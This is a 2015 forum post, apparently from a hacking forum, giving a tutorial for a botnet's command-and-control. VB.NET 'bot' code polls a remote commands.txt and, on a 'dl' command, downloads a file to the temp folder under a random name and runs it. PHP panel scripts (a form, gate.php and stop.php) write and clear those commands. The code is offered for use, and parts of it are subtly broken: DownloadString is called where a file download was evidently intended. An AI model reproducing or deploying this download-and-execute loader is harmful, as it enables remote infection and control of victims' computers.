Mar 5, 2015 12:58 PM
(This post was last modified: Mar 5, 2015 01:00 PM by DangerZone90.)
basic commands for TUT
download and execute
message
first the vb.net bot side
above Public Class Form1 add
Quote:Imports System.Management
Imports System.Net
now under Public Class Form1, can also be added into a timer aswell by adding then double click the timer and just add this.
Quote:Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim W As New WebClient
Dim DownloadedFile As String = W.DownloadString("localhost/commands.txt")
Dim Command As String = DownloadedFile.Split("|")(0)
Dim AfterCommand As String = DownloadedFile.Split("|")(1)
Select Case Command.ToLower
Case Is = "m"
MsgBox(AfterCommand)
Case Is = "dl"
Dim newlocation As String = IO.Path.GetTempPath & "dsjkfhuise.exe"
Dim dle As New WebClient
dle.DownloadString(AfterCommand, newlocation)
Process.Start(newlocation)
Case Is = "nc"
'new command
End Select
End Sub
now php panel side
first add this to your php panel or php file
Quote:<form action="gate.php" method="get">
Command: <input type="text" name="command" />
<input type="submit" />
</form>
then make a gate.php and add
Quote:The command <?php echo $_GET["command"]; ?> has been sent.
</br>
</br>
<A HREF="javascript:history.go(-1)">back.</A>
<?php
$myFile = "commands.txt";
$fh = fopen($myFile, 'w') or die("File Open Failed.");
fwrite($fh, $_GET["command"]);
fclose($fh);
?>
the to stop or delete command make a stop.php and add
Quote:<?php
$file = 'commands.txt';
$fp = fopen($file , 'w');
fclose($fp);
?>
botnet side
working on now!



